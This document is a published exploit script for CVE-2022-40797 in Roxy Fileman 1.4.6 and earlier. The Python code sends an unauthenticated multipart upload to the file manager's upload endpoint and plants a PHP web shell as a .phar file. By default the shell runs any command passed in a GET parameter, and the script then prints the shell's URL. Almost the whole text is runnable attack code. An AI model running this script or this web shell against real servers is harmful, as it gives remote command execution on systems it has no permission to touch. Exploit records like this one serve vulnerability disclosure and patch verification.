Roxy Fileman 1.4.6 Remote Shell Upload

# Exploit Title: Roxy Fileman <= 1.4.6 Arbitrary File Upload (Unathenticated)# Date: 11/12/2022# Exploit Author: Hadi Mene <[email protected]># Vendor Homepage: roxyfileman.com# Software Link: https://web.archive.org/web/20210126213412/https://roxyfileman.com/download.php?f=1.4.6-php# Version: <= 1.4.6# Tested on: Ubuntu 18.04 # CVE : CVE-2022-40797# https://nvd.nist.gov/vuln/detail/CVE-2022-40797 import requestsfrom optparse import OptionParserfrom os.path import basenamebanner =  '#################################################\n'banner += '# Roxy Fileman <= 1.4.6 Arbitrary File Upload   #\n'banner += '#\t\t\t\t\t\t#\n'banner += '#\tCVE-2022-40797 exploit code\t\t#\n'banner += '#\t\t\t\t\t\t#\n'banner += '#\t\t\t\t\t\t#\n'banner += '#  Author : Hadi Mene <[email protected]>\t#\n'banner += '#\t\t\t\t\t\t#\n'banner += '#################################################\n'parser = OptionParser()parser.add_option("-u", "--url", dest="url",                  help="url of roxy fileman installation")parser.add_option("-s", "--shell",dest="shell", default=False,                  help="path of the php shell if not specified defaut shell will be uploaded ")(options, args) = parser.parse_args()if options.url is None:  parser.error('URL is required use -h for help')url = options.url#It seems that in some versions of the app an '/' in the end of the url breaks the exploit codeif (url.endswith('/')):  url = url[:-1] # we delete that '/'  webroot = options.url.split('/')[3:]webroot = '/'+ '/'.join(webroot)if (webroot.endswith('/')):  webroot = webroot[:-1]  webroot = webroot+'/Uploads'if options.shell:  shell = open(options.shell,'r').read()  filename = basename(options.shell)  filename = filename.split('.')[0]  else:  # default shell  shell = "<?php system($_GET['cmd']); ?>"  filename = 'shell'headers = {    'Host': (url.split('/')[2]),    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',    'Accept': '*/*',    'Accept-Language': 'en-US,en;q=0.5',    'Content-Type': 'multipart/form-data; boundary=---------------------------39556237418830295983527604767',    'Origin': (url.split('/')[2]),    'Connection': 'close',}data = '-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="method"\r\n\r\najax\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="d"\r\n\r\n'+(webroot)+'\r\n-----------------------------39556237418830295983527604767\r\nContent-Disposition: form-data; name="files[]"; filename="'+(filename)+'.phar"\r\nContent-Type: text/plain\r\n\r\n'+shell+'\n\r\n-----------------------------39556237418830295983527604767--\r\n'#We check if a file with the same filename is already there #because Roxy doesn't overwrite file instead it changes the filename of the newly uploaded fileif 'href="'+filename+'.phar"' in (requests.get(url+'/Uploads/').text):  already_uploaded = Trueelse:  already_uploaded = False  # file uploadreq = requests.post(url+'/php/upload.php', headers=headers, data=data, verify=False)response = (req.text)print(banner)if '{"res":"ok","msg":""}' in (response):# success  print('File Uploaded Successfully!!!')    if already_uploaded:    print('A file with the same filename is already on the server..')    print('URL: '+url+'/Uploads/'+(filename)+' - Copy X.phar ')      else:    print('URL: '+url+'/Uploads/'+(filename)+'.phar')else:  # failure  print('Shell Upload Failed :((( ')  print(response) #debug